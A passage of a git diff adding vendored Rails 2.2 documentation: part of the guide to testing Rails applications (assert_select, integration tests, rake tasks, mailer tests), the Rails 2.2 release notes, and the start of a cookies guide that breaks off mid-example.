You can also use nested assert_select blocks. In this case the inner assert_select will run the assertion on each element selected by the outer assert_select block:
The assert_select assertion is quite powerful. For more advanced usage, refer to its documentation.
+
4.6.1. Additional View-based Assertions
+
There are more assertions that are primarily used in testing views:
+
+
+
+
+
+
+
+ Assertion
+
+
+ Purpose
+
+
+
+
+
+
+ assert_select_email
+
+
+ Allows you to make assertions on the body of an e-mail.
+
+
+
+
+ assert_select_rjs
+
+
+ Allows you to make assertions on RJS response. assert_select_rjs has variants which allow you to narrow down on the updated element or even a particular operation on an element.
+
+
+
+
+ assert_select_encoded
+
+
+ Allows you to make assertions on encoded HTML. It does this by un-encoding the contents of each element and then calling the block with all the un-encoded elements.
+
+
+
+
+ css_select(selector) or css_select(element, selector)
+
+
+ Returns an array of all the elements selected by the selector. In the second variant it first matches the base element and tries to match the selector expression on any of its children. If there are no matches both variants return an empty array.
+
+
+
+
+
+
Here's an example of using assert_select_email:
+
+
+
assert_select_email do
+ assert_select 'small','Please click the "Unsubscribe" link if you want to opt-out.'
+end
+
+
+
5. Integration Testing
+
+
Integration tests are used to test the interaction among any number of controllers. They are generally used to test important work flows within your application.
+
Unlike Unit and Functional tests, integration tests have to be explicitly created under the test/integration folder within your application. Rails provides a generator to create an integration test skeleton for you.
Here's what a freshly-generated integration test looks like:
+
+
+
require'test_helper'
+
+class UserFlowsTest < ActionController::IntegrationTest
+ # fixtures :your, :models
+
+ # Replace this with your real tests.
+ def test_truth
+ assert true
+ end
+end
+
+
Integration tests inherit from ActionController::IntegrationTest. This makes available some additional helpers to use in your integration tests. Also you need to explicitly include the fixtures to be made available to the test.
+
5.1. Helpers Available for Integration tests
+
In addition to the standard testing helpers, there are some additional helpers available to integration tests:
+
+
+
+
+
+
+
+ Helper
+
+
+ Purpose
+
+
+
+
+
+
+ https?
+
+
+ Returns true if the session is mimicking a secure HTTPS request.
+
+
+
+
+ https!
+
+
+ Allows you to mimic a secure HTTPS request.
+
+
+
+
+ host!
+
+
+ Allows you to set the host name to use in the next request.
+
+
+
+
+ redirect?
+
+
+ Returns true if the last request was a redirect.
+
As you can see the integration test involves multiple controllers and exercises the entire stack from database to dispatcher. In addition you can have multiple session instances open simultaneously in a test and extend those instances with assertion methods to create a very powerful testing DSL (domain-specific language) just for your application.
+
Here's an example of multiple sessions and custom DSL in an integration test
+
+
+
require'test_helper'
+
+class UserFlowsTest < ActionController::IntegrationTest
+ fixtures :users
+
+ def test_login_and_browse_site
+
+ # User avs logs in
+ avs = login(:avs)
+ # User guest logs in
+ guest = login(:guest)
+
+ # Both are now available in different sessions
+ assert_equal 'Welcome avs!', avs.flash[:notice]
+ assert_equal 'Welcome guest!', guest.flash[:notice]
+
+ # User avs can browse site
+ avs.browses_site
+ # User guest can browse site aswell
+ guest.browses_site
+
+ # Continue with other assertions
+ end
+
+ private
+
+ module CustomDsl
+ def browses_site
+ get "/products/all"
+ assert_response :success
+ assert assigns(:products)
+ end
+ end
+
+ def login(user)
+ open_session do|sess|
+ sess.extend(CustomDsl)
+ u = users(user)
+ sess.https!
+ sess.post "/login",:username => u.username,:password => u.password
+ assert_equal '/welcome', path
+ sess.https!(false)
+ end
+ end
+end
+
+
+
6. Rake Tasks for Running your Tests
+
+
You don't need to set up and run your tests by hand on a test-by-test basis. Rails comes with a number of rake tasks to help in testing. The table below lists all rake tasks that come along in the default Rakefile when you initiate a Rail project.
+rake test+ Runs all unit, functional and integration tests. You can also simply run +rake+ as the _test_ target is the default.
++rake test:units+ Runs all the unit tests from +test/unit+
++rake test:functionals+ Runs all the functional tests from +test/functional+
++rake test:integration+ Runs all the integration tests from +test/integration+
++rake test:recent+ Tests recent changes
++rake test:uncommitted+ Runs all the tests which are uncommitted. Only supports Subversion
++rake test:plugins+ Run all the plugin tests from +vendor/plugins/*/**/test+ (or specify with +PLUGIN=_name_+)
+
+
+
7. Brief Note About Test::Unit
+
+
Ruby ships with a boat load of libraries. One little gem of a library is Test::Unit, a framework for unit testing in Ruby. All the basic assertions discussed above are actually defined in Test::Unit::Assertions. The class ActiveSupport::TestCase which we have been using in our unit and functional tests extends Test::Unit::TestCase that it is how we can use all the basic assertions in our tests.
If you would like to run a block of code before the start of each test and another block of code after the end of each test you have two special callbacks for your rescue. Let's take note of this by looking at an example for our functional test in Posts controller:
+
+
+
require'test_helper'
+
+class PostsControllerTest < ActionController::TestCase
+
+ # called before every single test
+ def setup
+ @post= posts(:one)
+ end
+
+ # called after every single test
+ def teardown
+ # as we are re-initializing @post before every test
+ # setting it to nil here is not essential but I hope
+ # you understand how you can use the teardown method
+ @post=nil
+ end
+
+ def test_should_show_post
+ get :show,:id =>@post.id
+ assert_response :success
+ end
+
+ def test_should_destroy_post
+ assert_difference('Post.count',-1)do
+ delete :destroy,:id =>@post.id
+ end
+
+ assert_redirected_to posts_path
+ end
+
+end
+
+
Above, the setup method is called before each test and so @post is available for each of the tests. Rails implements setup and teardown as ActiveSupport::Callbacks. Which essentially means you need not only use setup and teardown as methods in your tests. You could specify them by using:
+
+
+
+a block
+
+
+
+
+a method (like in the earlier example)
+
+
+
+
+a method name as a symbol
+
+
+
+
+a lambda
+
+
+
+
Let's see the earlier example by specifying setup callback by specifying a method name as a symbol:
+
+
+
require'../test_helper'
+
+class PostsControllerTest < ActionController::TestCase
+
+ # called before every single test
+ setup :initialize_post
+
+ # called after every single test
+ def teardown
+ @post=nil
+ end
+
+ def test_should_show_post
+ get :show,:id =>@post.id
+ assert_response :success
+ end
+
+ def test_should_update_post
+ put :update,:id =>@post.id,:post =>{}
+ assert_redirected_to post_path(assigns(:post))
+ end
+
+ def test_should_destroy_post
+ assert_difference('Post.count',-1)do
+ delete :destroy,:id =>@post.id
+ end
+
+ assert_redirected_to posts_path
+ end
+
+ private
+
+ def initialize_post
+ @post= posts(:one)
+ end
+
+end
+
+
+
9. Testing Routes
+
+
Like everything else in you Rails application, it's recommended to test you routes. An example test for a route in the default show action of Posts controller above should look like:
Testing mailer classes requires some specific tools to do a thorough job.
+
10.1. Keeping the Postman in Check
+
Your ActionMailer classes — like every other part of your Rails application — should be tested to ensure that it is working as expected.
+
The goals of testing your ActionMailer classes are to ensure that:
+
+
+
+emails are being processed (created and sent)
+
+
+
+
+the email content is correct (subject, sender, body, etc)
+
+
+
+
+the right emails are being sent at the right times
+
+
+
+
10.1.1. From All Sides
+
There are two aspects of testing your mailer, the unit tests and the functional tests. In the unit tests, you run the mailer in isolation with tightly controlled inputs and compare the output to a knownvalue (a fixture — yay! more fixtures!). In the functional tests you don't so much test the minute details produced by the mailer Instead we test that our controllers and models are using the mailer in the right way. You test to prove that the right email was sent at the right time.
+
10.2. Unit Testing
+
In order to test that your mailer is working as expected, you can use unit tests to compare the actual results of the mailer with pre-written examples of what should be produced.
+
10.2.1. Revenge of the Fixtures
+
For the purposes of unit testing a mailer, fixtures are used to provide an example of how the output should look. Because these are example emails, and not Active Record data like the other fixtures, they are kept in their own subdirectory apart from the other fixtures. The name of the directory within test/fixtures directly corresponds to the name of the mailer. So, for a mailer named UserMailer, the fixtures should reside in test/fixtures/user_mailer directory.
+
When you generated your mailer, the generator creates stub fixtures for each of the mailers actions. If you didn't use the generator you'll have to make those files yourself.
+
10.2.2. The Basic Test case
+
Here's a unit test to test a mailer named UserMailer whose action invite is used to send an invitation to a friend. It is an adapted version of the base test created by the generator for an invite action.
In this test, @expected is an instance of TMail::Mail that you can use in your tests. It is defined in ActionMailer::TestCase. The test above uses @expected to construct an email, which it then asserts with email created by the custom mailer. The invite fixture is the body of the email and is used as the sample content to assert against. The helper read_fixture is used to read in the content from this file.
+
Here's the content of the invite fixture:
+
+
+
Hi friend@example.com,
+
+You have been invited.
+
+Cheers!
+
+
This is the right time to understand a little more about writing tests for your mailers. The line ActionMailer::Base.delivery_method = :test in config/environments/test.rb sets the delivery method to test mode so that email will not actually be delivered (useful to avoid spamming your users while testing) but instead it will be appended to an array (ActionMailer::Base.deliveries).
+
However often in unit tests, mails will not actually be sent, simply constructed, as in the example above, where the precise content of the email is checked against what it should be.
+
10.3. Functional Testing
+
Functional testing for mailers involves more than just checking that the email body, recipients and so forth are correct. In functional mail tests you call the mail deliver methods and check that the appropriate emails have been appended to the delivery list. It is fairly safe to assume that the deliver methods themselves do their job You are probably more interested in is whether your own business logic is sending emails when you expect them to got out. For example, you can check that the invite friend operation is sending an email appropriately:
+
+
+
require'test_helper'
+
+class UserControllerTest < ActionController::TestCase
+ def test_invite_friend
+ assert_difference 'ActionMailer::Base.deliveries.size',+1do
+ post :invite_friend,:email =>'friend@example.com'
+ end
+ invite_email = ActionMailer::Base.deliveries.first
+
+ assert_equal invite_email.subject,"You have been invited by me@example.com"
+ assert_equal invite_email.to[0],'friend@example.com'
+ assert_match /Hi friend@example.com/, invite_email.body
+ end
+end
+
+
+
11. Other Testing Approaches
+
+
The built-in test/unit based testing is not the only way to test Rails applications. Rails developers have come up with a wide variety of other approaches and aids for testing, including:
+
+
+
+NullDB, a way to speed up testing by avoiding database use.
+
+November 13, 2008: Revised based on feedback from Pratik Naik by Akshay Surve (not yet approved for publication)
+
+
+
+
+October 14, 2008: Edit and formatting pass by Mike Gunderloy (not yet approved for publication)
+
+
+
+
+October 12, 2008: First draft by Akshay Surve (not yet approved for publication)
+
+
+
+
+
+
+
+
+
diff --git a/vendor/rails/railties/doc/guides/source/2_2_release_notes.txt b/vendor/rails/railties/doc/guides/source/2_2_release_notes.txt
new file mode 100644
index 00000000..2f1a7ebb
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/2_2_release_notes.txt
@@ -0,0 +1,435 @@
+Ruby on Rails 2.2 Release Notes
+===============================
+
+Rails 2.2 delivers a number of new and improved features. This list covers the major upgrades, but doesn't include every little bug fix and change. If you want to see everything, check out the link:http://github.com/rails/rails/commits/master[list of commits] in the main Rails repository on GitHub.
+
+Along with Rails, 2.2 marks the launch of the link:http://guides.rubyonrails.org/[Ruby on Rails Guides], the first results of the ongoing link:http://hackfest.rubyonrails.org/guide[Rails Guides hackfest]. This site will deliver high-quality documentation of the major features of Rails.
+
+== Infrastructure
+
+Rails 2.2 is a significant release for the infrastructure that keeps Rails humming along and connected to the rest of the world.
+
+=== Internationalization
+
+Rails 2.2 supplies an easy system for internationalization (or i18n, for those of you tired of typing).
+
+* Lead Contributors: Rails i18 Team
+* More information :
+ - link:http://rails-i18n.org[Official Rails i18 website]
+ - link:http://www.artweb-design.de/2008/7/18/finally-ruby-on-rails-gets-internationalized[Finally. Ruby on Rails gets internationalized]
+ - link:http://i18n-demo.phusion.nl[Localizing Rails : Demo application]
+
+=== Compatibility with Ruby 1.9 and JRuby
+
+Along with thread safety, a lot of work has been done to make Rails work well with JRuby and the upcoming Ruby 1.9. With Ruby 1.9 being a moving target, running edge Rails on edge Ruby is still a hit-or-miss proposition, but Rails is ready to make the transition to Ruby 1.9 when the latter is released.
+
+== Documentation
+
+The internal documentation of Rails, in the form of code comments, has been improved in numerous places. In addition, the link:http://guides.rubyonrails.org/[Ruby on Rails Guides] project is the definitive source for information on major Rails components. In its first official release, the Guides page includes:
+
+* link:http://guides.rubyonrails.org/getting_started_with_rails.html[Getting Started with Rails]
+* link:http://guides.rubyonrails.org/migrations.html[Rails Database Migrations]
+* link:http://guides.rubyonrails.org/association_basics.html[Active Record Associations]
+* link:http://guides.rubyonrails.org/finders.html[Active Record Finders]
+* link:http://guides.rubyonrails.org/layouts_and_rendering.html[Layouts and Rendering in Rails]
+* link:http://guides.rubyonrails.org/form_helpers.html[Action View Form Helpers]
+* link:http://guides.rubyonrails.org/routing_outside_in.html[Rails Routing from the Outside In]
+* link:http://guides.rubyonrails.org/actioncontroller_basics.html[Basics of Action Controller]
+* link:http://guides.rubyonrails.org/caching_with_rails.html[Rails Caching]
+* link:http://guides.rubyonrails.org/testing_rails_applications.html[Testing Rails Applications]
+* link:http://guides.rubyonrails.org/security.html[Securing Rails Applications]
+* link:http://guides.rubyonrails.org/debugging_rails_applications.html[Debugging Rails Applications]
+* link:http://guides.rubyonrails.org/benchmarking_and_profiling.html[Benchmarking and Profiling Rails Applications]
+* link:http://guides.rubyonrails.org/creating_plugins.html[The Basics of Creating Rails Plugins]
+
+All told, the Guides provide tens of thousands of words of guidance for beginning and intermediate Rails developers.
+
+If you want to generate these guides locally, inside your application:
+
+[source, ruby]
+-------------------------------------------------------
+rake doc:guides
+-------------------------------------------------------
+
+This will put the guides inside +RAILS_ROOT/doc/guides+ and you may start surfing straight away by opening +RAILS_ROOT/doc/guides/index.html+ in your favourite browser.
+
+* Lead Contributors: link:http://guides.rails.info/authors.html[Rails Documentation Team]
+* Major contributions from link:http://advogato.org/person/fxn/diary.html[Xavier Noria] and link:http://izumi.plan99.net/blog/[Hongli Lai].
+* More information:
+ - link:http://hackfest.rubyonrails.org/guide[Rails Guides hackfest]
+ - link:http://weblog.rubyonrails.org/2008/5/2/help-improve-rails-documentation-on-git-branch[Help improve Rails documentation on Git branch]
+
+== Better integration with HTTP : Out of the box ETag support
+
+Supporting the etag and last modified timestamp in HTTP headers means that Rails can now send back an empty response if it gets a request for a resource that hasn't been modified lately. This allows you to check whether a response needs to be sent at all.
+
+[source, ruby]
+-------------------------------------------------------
+class ArticlesController < ApplicationController
+ def show_with_respond_to_block
+ @article = Article.find(params[:id])
+
+ # If the request sends headers that differs from the options provided to stale?, then
+ # the request is indeed stale and the respond_to block is triggered (and the options
+ # to the stale? call is set on the response).
+ #
+ # If the request headers match, then the request is fresh and the respond_to block is
+ # not triggered. Instead the default render will occur, which will check the last-modified
+ # and etag headers and conclude that it only needs to send a "304 Not Modified" instead
+ # of rendering the template.
+ if stale?(:last_modified => @article.published_at.utc, :etag => @article)
+ respond_to do |wants|
+ # normal response processing
+ end
+ end
+ end
+
+ def show_with_implied_render
+ @article = Article.find(params[:id])
+
+ # Sets the response headers and checks them against the request, if the request is stale
+ # (i.e. no match of either etag or last-modified), then the default render of the template happens.
+ # If the request is fresh, then the default render will return a "304 Not Modified"
+ # instead of rendering the template.
+ fresh_when(:last_modified => @article.published_at.utc, :etag => @article)
+ end
+end
+-------------------------------------------------------
+
+== Thread Safety
+
+The work done to make Rails thread-safe is rolling out in Rails 2.2. Depending on your web server infrastructure, this means you can handle more requests with fewer copies of Rails in memory, leading to better server performance and higher utilization of multiple cores.
+
+To enable multithreaded dispatching in production mode of your application, add the following line in your +config/environments/production.rb+:
+
+[source, ruby]
+-------------------------------------------------------
+config.threadsafe!
+-------------------------------------------------------
+
+* More information :
+ - link:http://m.onkey.org/2008/10/23/thread-safety-for-your-rails[Thread safety for your Rails]
+ - link:http://weblog.rubyonrails.org/2008/8/16/josh-peek-officially-joins-the-rails-core[Thread safety project announcement]
+ - link:http://blog.headius.com/2008/08/qa-what-thread-safe-rails-means.html[Q/A: What Thread-safe Rails Means]
+
+== Active Record
+
+There are two big additions to talk about here: transactional migrations and pooled database transactions. There's also a new (and cleaner) syntax for join table conditions, as well as a number of smaller improvements.
+
+=== Transactional Migrations
+
+Historically, multiple-step Rails migrations have been a source of trouble. If something went wrong during a migration, everything before the error changed the database and everything after the error wasn't applied. Also, the migration version was stored as having been executed, which means that it couldn't be simply rerun by +rake db:migrate:redo+ after you fix the problem. Transactional migrations change this by wrapping migration steps in a DDL transaction, so that if any of them fail, the entire migration is undone. In Rails 2.2, transactional migrations are supported on PostgreSQL out of the box. The code is extensible to other database types in the future - and IBM has already extended it to support the DB2 adapter.
+
+* Lead Contributor: link:http://adam.blog.heroku.com/[Adam Wiggins]
+* More information:
+ - link:http://adam.blog.heroku.com/past/2008/9/3/ddl_transactions/[DDL Transactions]
+ - link:http://db2onrails.com/2008/11/08/a-major-milestone-for-db2-on-rails/[A major milestone for DB2 on Rails]
+
+=== Connection Pooling
+
+Connection pooling lets Rails distribute database requests across a pool of database connections that will grow to a maximum size (by default 5, but you can add a +pool+ key to your +database.yml+ to adjust this). This helps remove bottlenecks in applications that support many concurrent users. There's also a +wait_timeout+ that defaults to 5 seconds before giving up. +ActiveRecord::Base.connection_pool+ gives you direct access to the pool if you need it.
+
+[source, ruby]
+-------------------------------------------------------
+development:
+ adapter: mysql
+ username: root
+ database: sample_development
+ pool: 10
+ wait_timeout: 10
+-------------------------------------------------------
+
+* Lead Contributor: link:http://blog.nicksieger.com/[Nick Sieger]
+* More information:
+ - link:http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-connection-pools[What's New in Edge Rails: Connection Pools]
+
+=== Hashes for Join Table Conditions
+
+You can now specify conditions on join tables using a hash. This is a big help if you need to query across complex joins.
+
+[source, ruby]
+-------------------------------------------------------
+class Photo < ActiveRecord::Base
+ belongs_to :product
+end
+
+class Product < ActiveRecord::Base
+ has_many :photos
+end
+
+# Get all products with copyright-free photos:
+Product.all(:joins => :photos, :conditions => { :photos => { :copyright => false }})
+-------------------------------------------------------
+
+* More information:
+ - link:http://ryandaigle.com/articles/2008/7/7/what-s-new-in-edge-rails-easy-join-table-conditions[What's New in Edge Rails: Easy Join Table Conditions]
+
+=== New Dynamic Finders
+
+Two new sets of methods have been added to Active Record's dynamic finders family.
+
+==== +find_last_by_+
+
+The +find_last_by_+ method is equivalent to +Model.last(:conditions => {:attribute => value})+
+
+[source, ruby]
+-------------------------------------------------------
+# Get the last user who signed up from London
+User.find_last_by_city('London')
+-------------------------------------------------------
+
+* Lead Contributor: link:http://www.workingwithrails.com/person/9147-emilio-tagua[Emilio Tagua]
+
+==== +find_by_!+
+
+The new bang! version of +find_by_!+ is equivalent to +Model.first(:conditions => {:attribute => value}) || raise ActiveRecord::RecordNotFound+ Instead of returning +nil+ if it can't find a matching record, this method will raise an exception if it cannot find a match.
+
+[source, ruby]
+-------------------------------------------------------
+# Raise ActiveRecord::RecordNotFound exception if 'Moby' hasn't signed up yet!
+User.find_by_name!('Moby')
+-------------------------------------------------------
+
+* Lead Contributor: link:http://blog.hasmanythrough.com[Josh Susser]
+
+=== Associations Respect Private/Protected Scope
+
+Active Record association proxies now respect the scope of methods on the proxied object. Previously (given User has_one :account) +@user.account.private_method+ would call the private method on the associated Account object. That fails in Rails 2.2; if you need this functionality, you should use +@user.account.send(:private_method)+ (or make the method public instead of private or protected). Please note that if you're overriding +method_missing+, you should also override +respond_to+ to match the behavior in order for associations to function normally.
+
+* Lead Contributor: Adam Milligan
+* More information:
+ - link:http://afreshcup.com/2008/10/24/rails-22-change-private-methods-on-association-proxies-are-private/[Rails 2.2 Change: Private Methods on Association Proxies are Private]
+
+=== Other ActiveRecord Changes
+
+* +rake db:migrate:redo+ now accepts an optional VERSION to target that specific migration to redo
+* Set +config.active_record.timestamped_migrations = false+ to have migrations with numeric prefix instead of UTC timestamp.
+* Counter cache columns (for associations declared with +:counter_cache => true+) do not need to be initialized to zero any longer.
+* +ActiveRecord::Base.human_name+ for an internationalization-aware humane translation of model names
+
+== Action Controller
+
+On the controller side, there are several changes that will help tidy up your routes. There are also some internal changes in the routing engine to lower memory usage on complex applications.
+
+=== Shallow Route Nesting
+
+Shallow route nesting provides a solution to the well-known difficulty of using deeply-nested resources. With shallow nesting, you need only supply enough information to uniquely identify the resource that you want to work with.
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :publishers, :shallow => true do |publisher|
+ publisher.resources :magazines do |magazine|
+ magazine.resources :photos
+ end
+end
+-------------------------------------------------------
+
+This will enable recognition of (among others) these routes:
+
+-------------------------------------------------------
+/publishers/1 ==> publisher_path(1)
+/publishers/1/magazines ==> publisher_magazines_path(1)
+/magazines/2 ==> magazine_path(2)
+/magazines/2/photos ==> magazines_photos_path(2)
+/photos/3 ==> photo_path(3)
+-------------------------------------------------------
+
+* Lead Contributor: link:http://www.unwwwired.net/[S. Brent Faulkner]
+* More information:
+ - link:http://guides.rails.info/routing/routing_outside_in.html#_nested_resources[Rails Routing from the Outside In]
+ - link:http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-shallow-routes[What's New in Edge Rails: Shallow Routes]
+
+=== Method Arrays for Member or Collection Routes
+
+You can now supply an array of methods for new member or collection routes. This removes the annoyance of having to define a route as accepting any verb as soon as you need it to handle more than one. With Rails 2.2, this is a legitimate route declaration:
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos, :collection => { :search => [:get, :post] }
+-------------------------------------------------------
+
+* Lead Contributor: link:http://brennandunn.com/[Brennan Dunn]
+
+=== Resources With Specific Actions
+
+By default, when you use +map.resources+ to create a route, Rails generates routes for seven default actions (index, show, create, new, edit, update, and destroy). But each of these routes takes up memory in your application, and causes Rails to generate additional routing logic. Now you can use the +:only+ and +:except+ options to fine-tune the routes that Rails will generate for resources. You can supply a single action, an array of actions, or the special +:all+ or +:none+ options. These options are inherited by nested resources.
+
+[source, ruby]
+-------------------------------------------------------
+map.resources :photos, :only => [:index, :show]
+map.resources :products, :except => :destroy
+-------------------------------------------------------
+
+* Lead Contributor: link:http://experthuman.com/[Tom Stuart]
+
+=== Other Action Controller Changes
+
+* You can now easily link:http://m.onkey.org/2008/7/20/rescue-from-dispatching[show a custom error page] for exceptions raised while routing a request.
+* The HTTP Accept header is disabled by default now. You should prefer the use of formatted URLs (such as +/customers/1.xml+) to indicate the format that you want. If you need the Accept headers, you can turn them back on with +config.action_controller.user_accept_header = true+.
+* Benchmarking numbers are now reported in milliseconds rather than tiny fractions of seconds
+* Rails now supports HTTP-only cookies (and uses them for sessions), which help mitigate some cross-site scripting risks in newer browsers.
+* +redirect_to+ now fully supports URI schemes (so, for example, you can redirect to a svn+ssh: URI).
+* +render+ now supports a +:js+ option to render plain vanilla javascript with the right mime type.
+* Request forgery protection has been tightened up to apply to HTML-formatted content requests only.
+* Polymorphic URLs behave more sensibly if a passed parameter is nil. For example, calling +polymorphic_path([@project, @date, @area])+ with a nil date will give you +project_area_path+.
+
+== Action View
+
+* +javascript_include_tag+ and +stylesheet_link_tag+ support a new +:recursive+ option to be used along with +:all+, so that you can load an entire tree of files with a single line of code.
+* The included Prototype javascript library has been upgraded to version 1.6.0.3.
+* +RJS#page.reload+ to reload the browser's current location via javascript
+* The +atom_feed+ helper now takes an +:instruct+ option to let you insert XML processing instructions.
+
+== Action Mailer
+
+Action Mailer now supports mailer layouts. You can make your HTML emails as pretty as your in-browser views by supplying an appropriately-named layout - for example, the +CustomerMailer+ class expects to use +layouts/customer_mailer.html.erb+.
+
+* More information:
+ - link:http://ryandaigle.com/articles/2008/9/7/what-s-new-in-edge-rails-mailer-layouts[What's New in Edge Rails: Mailer Layouts]
+
+Action Mailer now offers built-in support for GMail's SMTP servers, by turning on STARTTLS automatically. This requires Ruby 1.8.7 to be installed.
+
+== Active Support
+
+Active Support now offers built-in memoization for Rails applications, the +each_with_object+ method, prefix support on delegates, and various other new utility methods.
+
+=== Memoization
+
+Memoization is a pattern of initializing a method once and then stashing its value away for repeat use. You've probably used this pattern in your own applications:
+
+[source, ruby]
+-------------------------------------------------------
+def full_name
+ @full_name ||= "#{first_name} #{last_name}"
+end
+-------------------------------------------------------
+
+Memoization lets you handle this task in a declarative fashion:
+
+[source, ruby]
+-------------------------------------------------------
+extend ActiveSupport::Memoizable
+
+def full_name
+ "#{first_name} #{last_name}"
+end
+memoize :full_name
+-------------------------------------------------------
+
+Other features of memoization include +unmemoize+, +unmemoize_all+, and +memoize_all+ to turn memoization on or off.
+
+* Lead Contributor: link:http://joshpeek.com/[Josh Peek]
+* More information:
+ - link:http://ryandaigle.com/articles/2008/7/16/what-s-new-in-edge-rails-memoization[What's New in Edge Rails: Easy Memoization]
+ - link:http://www.railway.at/articles/2008/09/20/a-guide-to-memoization[Memo-what? A Guide to Memoization]
+
+=== +each_with_object+
+
+The +each_with_object+ method provides an alternative to +inject+, using a method backported from Ruby 1.9. It iterates over a collection, passing the current element and the memo into the block.
+
+[source, ruby]
+-------------------------------------------------------
+%w(foo bar).each_with_object({}) { |str, hsh| hsh[str] = str.upcase } #=> {'foo' => 'FOO', 'bar' => 'BAR'}
+-------------------------------------------------------
+
+Lead Contributor: link:http://therealadam.com/[Adam Keys]
+
+=== Delegates With Prefixes
+
+If you delegate behavior from one class to another, you can now specify a prefix that will be used to identify the delegated methods. For example:
+
+[source, ruby]
+-------------------------------------------------------
+class Vendor < ActiveRecord::Base
+ has_one :account
+ delegate :email, :password, :to => :account, :prefix => true
+end
+-------------------------------------------------------
+
+This will produce delegated methods +vendor#account_email+ and +vendor#account_password+. You can also specify a custom prefix:
+
+[source, ruby]
+-------------------------------------------------------
+class Vendor < ActiveRecord::Base
+ has_one :account
+ delegate :email, :password, :to => :account, :prefix => :owner
+end
+-------------------------------------------------------
+
+This will produce delegated methods +vendor#owner_email+ and +vendor#owner_password+.
+
+Lead Contributor: link:http://workingwithrails.com/person/5830-daniel-schierbeck[Daniel Schierbeck]
+
+=== Other Active Support Changes
+
+* Extensive updates to +ActiveSupport::Multibyte+, including Ruby 1.9 compatibility fixes.
+* The addition of +ActiveSupport::Rescuable+ allows any class to mix in the +rescue_from+ syntax.
+* +past?+, +today?+ and +future?+ for +Date+ and +Time+ classes to facilitate date/time comparisons.
+* +Array#second+ through +Array#fifth+ as aliases for +Array#[1]+ through +Array#[4]+
+* +Enumerable#many?+ to encapsulate +collection.size > 1+
+* +Inflector#parameterize+ produces a URL-ready version of its input, for use in +to_param+.
+* +Time#advance+ recognizes fractional days and weeks, so you can do +1.7.weeks.ago+, +1.5.hours.since+, and so on.
+* The included TzInfo library has been upgraded to version 0.3.12.
+* +ActiveSuport::StringInquirer+ gives you a pretty way to test for equality in strings: +ActiveSupport::StringInquirer.new("abc").abc? => true+
+
+== Railties
+
+In Railties (the core code of Rails itself) the biggest changes are in the +config.gems+ mechanism.
+
+=== +config.gems+
+
+To avoid deployment issues and make Rails applications more self-contained, it's possible to place copies of all of the gems that your Rails application requires in +/vendor/gems+. This capability first appeared in Rails 2.1, but it's much more flexible and robust in Rails 2.2, handling complicated dependencies between gems. Gem management in Rails includes these commands:
+
+* +config.gem _gem_name_+ in your +config/environment.rb+ file
+* +rake gems+ to list all configured gems, as well as whether they (and their dependencies) are installed or frozen
+* +rake gems:install+ to install missing gems to the computer
+* +rake gems:unpack+ to place a copy of the required gems into +/vendor/gems+
+* +rake gems:unpack:dependencies+ to get copies of the required gems and their dependencies into +/vendor/gems+
+* +rake gems:build+ to build any missing native extensions
+* +rake gems:refresh_specs+ to bring vendored gems created with Rails 2.1 into alignment with the Rails 2.2 way of storing them
+
+You can unpack or install a single gem by specifying +GEM=_gem_name_+ on the command line.
+
+* Lead Contributor: link:http://github.com/al2o3cr[Matt Jones]
+* More information:
+ - link:http://ryandaigle.com/articles/2008/4/1/what-s-new-in-edge-rails-gem-dependencies[What's New in Edge Rails: Gem Dependencies]
+ - link:http://afreshcup.com/2008/10/25/rails-212-and-22rc1-update-your-rubygems/[Rails 2.1.2 and 2.2RC1: Update Your RubyGems]
+
+=== Other Railties Changes
+
+* If you're a fan of the link:http://code.macournoyer.com/thin/[Thin] web server, you'll be happy to know that +script/server+ now supports Thin directly.
+* +script/plugin install -r + now works with git-based as well as svn-based plugins.
+* +script/console+ now supports a +--debugger+ option
+* Instructions for setting up a continuous integration server to build Rails itself are included in the Rails source
+* +rake notes:custom ANNOTATION=MYFLAG+ lets you list out custom annotations.
+* Wrapped +Rails.env+ in +StringInquirer+ so you can do +Rails.env.development?+
+* To eliminate deprecation warnings and properly handle gem dependencies, Rails now requires rubygems 1.3.1 or higher.
+
+== Deprecated
+
+A few pieces of older code are deprecated in this release:
+
+* +Rails::SecretKeyGenerator+ has been replaced by +ActiveSupport::SecureRandom+
+* +render_component+ is deprecated. There's a link:http://github.com/rails/render_component/tree/master[render_components plugin] available if you need this functionality.
+* Implicit local assignments when rendering partials has been deprecated.
+
+[source, ruby]
+-------------------------------------------------------
+def partial_with_implicit_local_assignment
+ @customer = Customer.new("Marcel")
+ render :partial => "customer"
+end
+-------------------------------------------------------
+
+Previously the above code made available a local variable called +customer+ inside the partial 'customer'. You should explicitly pass all the variables via :locals hash now.
+
+* +country_select+ has been removed. See the link:http://www.rubyonrails.org/deprecation/list-of-countries[deprecation page] for more information and a plugin replacement.
+* +ActiveRecord::Base.allow_concurrency+ no longer has any effect.
+* +ActiveRecord::Errors.default_error_messages+ has been deprecated in favor of +I18n.translate('activerecord.errors.messages')+
+* The +%s+ and +%d+ interpolation syntax for internationalization is deprecated.
+* +String#chars+ has been deprecated in favor of +String#mb_chars+.
+* Durations of fractional months or fractional years are deprecated. Use Ruby's core +Date+ and +Time+ class arithmetic instead.
+
+== Credits
+
+Release notes compiled by link:http://afreshcup.com[Mike Gunderloy]
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/changelog.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/changelog.txt
new file mode 100644
index 00000000..4ee16af1
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/changelog.txt
@@ -0,0 +1,5 @@
+== Changelog ==
+
+http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/17[Lighthouse ticket]
+
+* November 4, 2008: First release version by Tore Darrell
diff --git a/vendor/rails/railties/doc/guides/source/actioncontroller_basics/cookies.txt b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/cookies.txt
new file mode 100644
index 00000000..88b99de3
--- /dev/null
+++ b/vendor/rails/railties/doc/guides/source/actioncontroller_basics/cookies.txt
@@ -0,0 +1,34 @@
+== Cookies ==
+
+Your application can store small amounts of data on the client - called cookies - that will be persisted across requests and even sessions. Rails provides easy access to cookies via the `cookies` method, which - much like the `session` - works like a hash:
+
+[source, ruby]
+-----------------------------------------
+class CommentsController < ApplicationController
+
+ def new
+ #Auto-fill the commenter's name if it has been stored in a cookie
